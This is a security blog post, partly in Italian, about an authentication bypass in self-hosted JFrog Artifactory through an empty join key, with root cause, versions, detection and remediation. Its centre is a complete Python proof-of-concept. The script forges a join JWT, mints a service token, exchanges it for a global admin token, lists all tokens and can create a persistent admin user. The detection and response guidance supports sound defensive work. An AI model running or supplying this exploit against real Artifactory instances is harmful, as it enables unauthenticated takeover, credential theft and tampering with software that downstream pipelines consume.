cve

CVE-2026-82329: PoC Authentication Bypass in JFrog Artifactory

CVE-2026-82329: PoC Authentication Bypass in JFrog Artifactory

CVE-2026-82329: Authentication bypass in JFrog Artifactory via empty join key. Root cause, exploit chain, working PoC, detection, and remediation.

  • Posted on 2026-09-11
  • Reading time: 10 min

CVE-2026-82329: Authentication Bypass in JFrog Artifactory via Empty Join Key #

CVE-2026-82329 is a critical vulnerability (CVSS 9.8, CWE-287) in self-hosted JFrog Artifactory that, in the default configuration, could allow an unauthenticated attacker with network access to gain administrative privileges on the platform. The issue stems from the handling of empty join keys in JFrog Access. It was disclosed and patched by JFrog on August 28, 2026, and added to the CISA KEV catalog on September 2. WatchTowr observed exploitation in the wild as early as September 1, with attackers generating administrative tokens and enumerating users, groups, credentials, and federated access relationships.

CVE-2026-82329 in Brief #

VoiceDetail
CVECVE-2026-82329
ProductJFrog Artifactory
TypeImproper Authentication
C.W.E.CWE-287
SeverityCritical
CVSS v3.19.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Required privilegesNobody
User interactionNone
ImpactAdministrative access
Affected configurationDefault
DeploymentSelf hosted
Cloud/SaaS JFrogNot interested (already protected)
CISA KEVYes, from September 2, 2026
ExploitationActive, observed in the wild
PatchAugust 28, 2026

Timeline #

text
28 agosto 2026  → JFrog pubblica advisory e patch
1 settembre 2026 → watchTowr osserva exploitation in the wild
2 settembre 2026 → CISA inserisce CVE-2026-82329 nel catalogo KEV

Is CVE-2026-82329 Actively Exploited? #

Yes. WatchTowr has observed attackers exploiting the vulnerability through its global honeypot network to generate administrative tokens and then enumerate users, groups, credential sets, and federated access topologies. The activity comes from a relatively small number of IPs distributed across various geographic areas and does not yet constitute a large-scale mass scan. It should be noted that this observation comes from watchTowr, not directly confirmed by JFrog in its advisory—which merely describes the flaw as potentially exploitable, without detailing any observed campaigns.

Who is Vulnerable #

Self-hosted installations of JFrog Artifactory in the versions listed in the table below, with the default configuration (no additional join keys configured), are vulnerable. JFrog Cloud instances are already secured by JFrog and require no action from the customer.

Impact #

  • Loss of administrative control on the Artifactory instance.
  • Access to configuration and tokens of the entire platform, including the list of all existing tokens.
  • Creating persistent administrative credentials, on Pro/Enterprise editions.
  • Supply chain riskArtifactory distributes packages, container images, and artifacts used by downstream CI/CD pipelines — a compromised instance can become a leverage point for manipulating what is deployed to downstream systems.

What is JFrog Artifactory? #

Artifactory is a repository manager used to store, version, and distribute software packages, container images, and binaries along the CI/CD pipeline. It typically occupies a privileged position in the development pipeline: whoever gains administrative control can manipulate artifacts distributed downstream, posing a supply chain risk that extends beyond a single compromised instance.

The root cause #

JFrog Access — the component that handles authentication and authorization in Artifactory — verifies the JWT used for “joining” between cluster nodes by signing them with a join key shared as HMAC secret. The problem lies in JoinKeyAccess.tryResolveJoinKeys(): the configuration of the “additional join keys” was built with config.split(",") without any filtering on empty values. When there are no additional join keys configured — that is, in the default configuration — that empty string ("") was still added to the set of keys considered valid.

The problem is that JoinKeyUtils.getSigningKey("") returns a value completely known and predictable: PKCS7 padding of an empty string to 32 bytes, i.e. 32 bytes all with the value 0x20Anyone who knows this detail can then sign a valid join JWT using that secret, without ever having accessed the instance.

The exploit chain #

The entire chain is unauthenticated , in four steps:

  1. Forging a join JWT — HS256 algorithm, claim kid equal to SHA256("") (to select the empty key among the trusted ones), iat fresh (the server applies a validity window of about 30 seconds), service_id valued, skip_node_registration=trueThe JWT is signed with 32 bytes 0x20 derived from the empty key.
  2. POST /access/api/v1/registry/join — unauthenticated endpoint (RegistryNoAuthResource). With the forged JWT accepted, it responds with HTTP 201 and returns a token of type SERVICE who already has scope=admin.
  3. POST /access/api/v1/tokens — using that SERVICE token as a bearer, you request an exchange with scope=applied-permissions/admin&audience=*Server-side verification, driven by the scope of the presented token, returns a real ADMIN token with a global audience.
  4. Using the admin token — global configuration reading (/artifactory/api/system/configuration), enumeration of all existing tokens (/access/api/v1/tokens), and on Pro/Enterprise instances creating a persistent administrator user.

Vulnerable Versions and Patches #

Affects self-hosted instances ; JFrog fixed the vulnerability in the Artifactory releases listed in the table below (the JFrog cloud was already protected). According to independent patch-diff analysis published by dinosn, at the component level, the fix affects JFrog Access 7.191.14—this specific information is not confirmed in the official JFrog advisory, which only lists Artifactory releases:

BranchPatched version
7.111.x7.111.21
7.117.x7.117.28
7.125.x7.125.20
7.133.x7.133.29
7.146.x7.146.38
7.161.x7.161.20

The patch introduces a filter Strings::isNotBlank in JoinKeyAccess, JoinKeyHashPair explicitly rejects null/empty keys, and two endpoints (GET/DELETE {projectKey}/resources) have been moved by authorization SERVICE ad ADMIN — confirming that the SERVICE surface was more exposed than expected.

How to Check the Version #

The running version is readable by the endpoint GET /artifactory/api/system/version (requires authentication on properly configured instances, but is often accessible) or from the "System Info" section of the admin panel. The number returned should be compared with the table above: any version older than the one indicated for your branch is vulnerable.

Attack Flow #

text
Attaccante
   │
   │ JWT di join forgiato (firmato con la chiave vuota nota)
   ▼
POST /access/api/v1/registry/join
   │
   │ token SERVICE (scope già admin)
   ▼
POST /access/api/v1/tokens
   │
   │ token ADMIN (audience=*)
   ▼
Accesso amministrativo
   │
   ├── Configurazione globale
   ├── Tutti i token esistenti
   ├── Creazione utenti (Pro/Enterprise)
   └── Artefatti e pipeline CI/CD a valle

Proof of Concept #

The script below is a revised version of an existing public PoC, with some practical fixes for real-world use in an assessment: TLS handling for instances with self-signed certificates (common on Artifactory internal), a configurable timeout, and a detection-only mode that stops at the first pass without generating a persistent admin token—useful for a less invasive scan during the assessment phase. The logic was verified end-to-end against a test server that replicates the vulnerable and patched behavior.

python
#!/usr/bin/env python3
"""
CVE-2026-82329 - JFrog Artifactory unauthenticated authentication bypass
                 -> admin access-token minting (CVSS 9.8, CWE-287).

ROOT CAUSE:
  JFrog Access verifies cluster "join" JWTs with the platform JOIN KEY as an
  HMAC secret. JoinKeyAccess.tryResolveJoinKeys() built the trusted
  "additional join keys" set with config.split(",") and no blank filter, so
  with no additional keys configured (default) the value "" -> [""] added a
  BLANK join key to the trusted verifier set.
  JoinKeyUtils.getSigningKey("") == pkcs7(<empty>, 32) == 32 bytes of 0x20,
  a fully-known HMAC secret -> the join JWT is forgeable by anyone.

EXPLOIT CHAIN (all unauthenticated):
  1. Forge a join JWT signed with the known blank-key secret.
  2. POST /access/api/v1/registry/join -> SERVICE token, scope=admin.
  3. POST /access/api/v1/tokens -> exchange for a full ADMIN token.
  4. Use it to read config, enumerate tokens, or create an admin user.

PATCH: fixed in JFrog Access 7.191.14 and paired Artifactory releases
       (7.111.21 / 7.117.28 / 7.125.20 / 7.133.29 / 7.146.38 / 7.161.20).

For AUTHORIZED security testing only. Dependency-free (Python 3 stdlib).

Usage:
  python3 cve_2026_82329_poc.py https://TARGET:8082 --check-only
  python3 cve_2026_82329_poc.py https://TARGET:8082 -k
  python3 cve_2026_82329_poc.py https://TARGET:8082 -k --create-admin evil:P@ssw0rd1
"""
import sys, json, time, hmac, hashlib, base64, argparse, ssl
import urllib.request, urllib.error

BLANK_SECRET = b"\x20" * 32                    # JoinKeyUtils.getSigningKey("") == pkcs7(empty,32)
BLANK_KID = hashlib.sha256(b"").hexdigest()     # kid claim selecting the trusted blank join key


def _b64u(raw: bytes) -> bytes:
    return base64.urlsafe_b64encode(raw).rstrip(b"=")


def forge_join_jwt(service_id="jfrt@01") -> str:
    header = {"alg": "HS256", "typ": "JWT"}
    payload = {
        "iat": int(time.time()),           # server enforces a ~30s freshness window
        "service_id": service_id,
        "kid": BLANK_KID,                  # selects the (wrongly) trusted blank join key
        "skip_node_registration": True,    # -> joinWithoutNodeRegistration() -> scope("admin")
    }
    signing_input = (_b64u(json.dumps(header, separators=(",", ":")).encode())
                     + b"." + _b64u(json.dumps(payload, separators=(",", ":")).encode()))
    sig = hmac.new(BLANK_SECRET, signing_input, hashlib.sha256).digest()
    return (signing_input + b"." + _b64u(sig)).decode()


def _ssl_context(insecure: bool):
    if not insecure:
        return None
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE
    return ctx


def _http(method, url, data=None, headers=None, timeout=25, insecure=False):
    body = data.encode() if isinstance(data, str) else data
    req = urllib.request.Request(url, data=body, method=method)
    for k, v in (headers or {}).items():
        req.add_header(k, v)
    ctx = _ssl_context(insecure)
    try:
        with urllib.request.urlopen(req, timeout=timeout, context=ctx) as r:
            return r.status, r.read().decode("utf-8", "replace")
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode("utf-8", "replace")
    except Exception as e:
        return None, str(e)


def _jwt_claims(tok):
    try:
        p = tok.split(".")[1]
        p += "=" * (-len(p) % 4)
        return json.loads(base64.urlsafe_b64decode(p))
    except Exception:
        return {}


def mint_service_token(base, service_id, insecure, timeout):
    jwt = forge_join_jwt(service_id)
    st, body = _http("POST", f"{base}/access/api/v1/registry/join", data=jwt,
                     headers={"Content-Type": "text/plain", "User-Agent": "jfrt/0/7.161.19"},
                     insecure=insecure, timeout=timeout)
    if st not in (200, 201):
        return None, (st, body)
    try:
        return json.loads(body)["token"], (st, body)
    except Exception:
        return None, (st, body)


def exchange_admin_token(base, service_token, insecure, timeout):
    st, body = _http("POST", f"{base}/access/api/v1/tokens",
                     data="scope=applied-permissions/admin&audience=*&expires_in=0&refreshable=false",
                     headers={"Authorization": f"Bearer {service_token}",
                              "Content-Type": "application/x-www-form-urlencoded"},
                     insecure=insecure, timeout=timeout)
    if st != 200:
        return None, (st, body)
    try:
        return json.loads(body).get("access_token"), (st, body)
    except Exception:
        return None, (st, body)


def prove_admin(base, admin_token, insecure, timeout):
    h = {"Authorization": f"Bearer {admin_token}"}
    results = {}
    st, body = _http("GET", f"{base}/artifactory/api/system/configuration", headers=h,
                     insecure=insecure, timeout=timeout)
    results["read_global_config"] = (st, len(body))
    st2, _ = _http("GET", f"{base}/access/api/v1/tokens", headers=h, insecure=insecure, timeout=timeout)
    results["list_all_tokens"] = st2
    st3, _ = _http("GET", f"{base}/artifactory/api/system/version", headers=h,
                   insecure=insecure, timeout=timeout)
    results["system_version"] = st3
    return results


def create_admin_user(base, admin_token, user, pw, insecure, timeout):
    h = {"Authorization": f"Bearer {admin_token}", "Content-Type": "application/json"}
    payload = json.dumps({"name": user, "email": f"{user}@poc.local", "password": pw, "admin": True})
    st, body = _http("PUT", f"{base}/artifactory/api/security/users/{user}", data=payload,
                     headers=h, insecure=insecure, timeout=timeout)
    if st not in (200, 201):
        p2 = json.dumps({"username": user, "email": f"{user}@poc.local", "password": pw, "admin": True})
        st, body = _http("POST", f"{base}/access/api/v2/users", data=p2,
                         headers=h, insecure=insecure, timeout=timeout)
    verify = None
    if st in (200, 201):
        basic = base64.b64encode(f"{user}:{pw}".encode()).decode()
        verify, _ = _http("GET", f"{base}/artifactory/api/system/ping",
                          headers={"Authorization": f"Basic {basic}"}, insecure=insecure, timeout=timeout)
    return st, body[:200], verify


def main():
    ap = argparse.ArgumentParser(description="CVE-2026-82329 JFrog Artifactory auth-bypass PoC")
    ap.add_argument("base", help="URL base del target, es. https://host:8082")
    ap.add_argument("--service-id", default="jfrt@01")
    ap.add_argument("-k", "--insecure", action="store_true",
                    help="Ignora la verifica del certificato TLS (istanze self-signed)")
    ap.add_argument("--timeout", type=int, default=25, help="Timeout HTTP in secondi (default: 25)")
    ap.add_argument("--check-only", action="store_true",
                    help="Si ferma dopo il passo 1: conferma la vulnerabilità senza generare un token admin")
    ap.add_argument("--create-admin", metavar="USER:PASS", default=None,
                    help="Crea anche un utente admin persistente (Pro/Enterprise)")
    ap.add_argument("--token-only", action="store_true", help="Stampa un token admin ed esce")
    args = ap.parse_args()
    base = args.base.rstrip("/")

    print(f"[*] Target: {base}")
    print(f"[*] JWT di join forgiato con la chiave vuota nota (32x0x20), kid={BLANK_KID[:16]}...")

    svc, (st, body) = mint_service_token(base, args.service_id, args.insecure, args.timeout)
    if not svc:
        print(f"[-] /registry/join -> HTTP {st}: {body[:200]}")
        print("[=] NON VULNERABILE (chiave di join vuota non fidata -> patchato, o target irraggiungibile).")
        sys.exit(1)

    claims = _jwt_claims(svc)
    print(f"[+] Passo 1  /registry/join         -> HTTP {st}  token SERVICE ottenuto (scp={claims.get('scp')})")

    if args.check_only:
        print("[=] VULNERABILE - la join key vuota è accettata, nessun token admin generato (--check-only).")
        sys.exit(0)

    admin, (st2, body2) = exchange_admin_token(base, svc, args.insecure, args.timeout)
    if not admin:
        print(f"[-] scambio token -> HTTP {st2}: {body2[:200]}")
        admin = svc
    else:
        c = _jwt_claims(admin)
        print(f"[+] Passo 2  /access/api/v1/tokens  -> HTTP {st2}  token ADMIN (scp={c.get('scp')}, aud={c.get('aud')})")

    if args.token_only:
        print(admin)
        return

    res = prove_admin(base, admin, args.insecure, args.timeout)
    cfg_status, cfg_len = res["read_global_config"]
    print(f"[+] Passo 3  prova di privilegi admin:")
    print(f"      GET /artifactory/api/system/configuration -> HTTP {cfg_status} ({cfg_len} byte, solo admin; unauth=401)")
    print(f"      GET /access/api/v1/tokens (lista token)   -> HTTP {res['list_all_tokens']} (solo admin)")
    print(f"      GET /artifactory/api/system/version       -> HTTP {res['system_version']}")

    if args.create_admin and ":" in args.create_admin:
        u, p = args.create_admin.split(":", 1)
        st, body, verify = create_admin_user(base, admin, u, p, args.insecure, args.timeout)
        print(f"[+] Passo 4  creazione utente admin '{u}' -> HTTP {st}; verifica login -> HTTP {verify}")
        if st in (200, 201):
            print(f"      [CONFERMATO] utente admin persistente '{u}' creato.")

    admin_ok = (cfg_status == 200) or (res["list_all_tokens"] == 200)
    print()
    if admin_ok:
        print("[=] VULNERABILE - un attaccante non autenticato ha ottenuto ADMIN (CVE-2026-82329).")
        print(f"      Token di accesso admin: {admin}")
        sys.exit(0)
    else:
        print("[?] Token generato ma gli endpoint di prova non hanno risposto 200 - verificare manualmente.")
        sys.exit(2)


if __name__ == "__main__":
    main()

The main changes compared to the original PoC: flag -k/--insecure for instances with self-signed TLS certificate (very common on internal Artifactory deployments), --timeout configurable instead of a fixed value, and most importantly --check-only —a method that stops at the first step in the chain, confirming the vulnerability without generating an administrative token with potentially permanent validity. In an authorized assessment, minimizing the number of persistent artifacts created on the target is good practice.

Detection #

Signs to look for in JFrog Access logs:

  • Voices "Adding join key with kid: <hash> to additional join keys" with hash corresponding to SHA256("") — indicate that the instance is accepting the empty key as trusted (vulnerable behavior).
  • Requests to /access/api/v1/registry/join without prior legitimate node registration, followed shortly thereafter by /access/api/v1/tokens with scope=applied-permissions/admin — the two-step sequence is the signature of the exploit chain.
  • New tokens with audience * and admin scopes generated without a corresponding administrative login session.
  • Administrative users created without a corresponding prompt in the web interface or audit logs of the connected IdP.

For a Blue Team, temporal correlation is more useful than simply listing isolated endpoints — look for the sequence registry/join → emissione token → attività amministrativa concentrated in a window of a few seconds is the most reliable signature of exploitation, much more than a single hit on one of those endpoints taken alone.

What to Do if Your Instance Was Exposed to the Internet #

If Artifactory was reachable from the Internet in the window between August 28th and the actual patching, simply applying the patch is not sufficient — the instance should be treated as potentially already compromised:

  1. Immediately isolate or restrict network access to the instance.
  2. Apply the correct release for your branch.
  3. Rotate all potentially exposed tokens and credentials.
  4. Search for unrecognized administrative tokens among the active ones.
  5. Search for recently created and unexplained administrative users.
  6. Analyze access and audit logs for the exposure window.
  7. Check for unauthorized changes to CI/CD pipeline artifacts and configurations.
  8. If indicators of compromise emerge, extend the analysis to downstream systems consuming packets or images from that instance.

Remediation #

  • Update to the Artifactory release corresponding to your branch listed in the table — this is the only real fix, there are no reliable partial mitigations on the configuration side.
  • After patching, rotate all existing access tokens: the vulnerability allows token enumeration, so any credentials issued before the patch should be considered potentially exposed.
  • Restricting Artifactory's network exposure (reverse proxy, private network, allowlist) as a risk mitigation measure in the interim before patching — it is not a substitute for updating.
  • Check your audit logs for any unrecognized administrative users created in the window between the disclosure (August 28) and the actual patching of your instance.

CVE, CWE, CVSS, and KEV: What They Mean Here #

  • CVE-2026-82329 uniquely identifies this specific vulnerability.
  • CWE-287 classifies its weakness category: Improper Authentication.
  • CVSS 9.8 measures its technical severity on a scale of 0-10, calculated by the vector AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.
  • CISA KEV indicates that the vulnerability has been added to the catalog of vulnerabilities known to be actively exploited — an operational classification, distinct from the CVSS score, that signals the urgency of immediate patching.

FAQ #

What does CVE-2026-82329 allow? In the default configuration, it allows an unauthenticated attacker with network access to obtain a token with administrative privileges on a self-hosted JFrog Artifactory instance.

Which versions of JFrog Artifactory are vulnerable? Versions prior to 7.111.21, 7.117.28, 7.125.20, 7.133.29, 7.146.38, and 7.161.20, depending on the branch—see the table above for details.

Does CVE-2026-82329 affect JFrog Artifactory Cloud? No. JFrog-managed cloud instances were already secured at the time of disclosure; it only affects self-hosted deployments.

Does CVE-2026-82329 require authentication? No, the entire chain—from forging the JWT to obtaining the admin token—is executable without any valid credentials.

Has CVE-2026-82329 been actively exploited? Yes, watchTowr has observed exploitation in the wild since September 1, 2026, and it was added to the CISA KEV catalog on September 2.

How to check if an Artifactory instance is vulnerable? Compare the running version (readable by /artifactory/api/system/version or from the admin panel) with the patched versions in the table, or use the mode --check-only of the PoC in this article for non-invasive verification.

How to fix CVE-2026-82329? Update to the patched Artifactory release for your branch and rotate all existing tokens after the update.

What to do if Artifactory was exposed to the Internet before patching? Treat the instance as potentially compromised: in addition to patching, follow the steps described in the dedicated section above (rotation of credentials, search for unrecognized admin users and tokens, and analyze logs).

Related Articles #

  • JWT — token mechanics and common signature/verification vulnerabilities
  • Broken Authentication — the vulnerability class (CWE-287) to which this CVE belongs
  • RCE — ultimate impact when an authentication bypass leads to downstream code execution

Sources and references #

For use in authorized environments only.

#cve-2026-82329 #jfrog-artifactory #authentication-bypass #jwt #poc

leave a message

I'm not a robot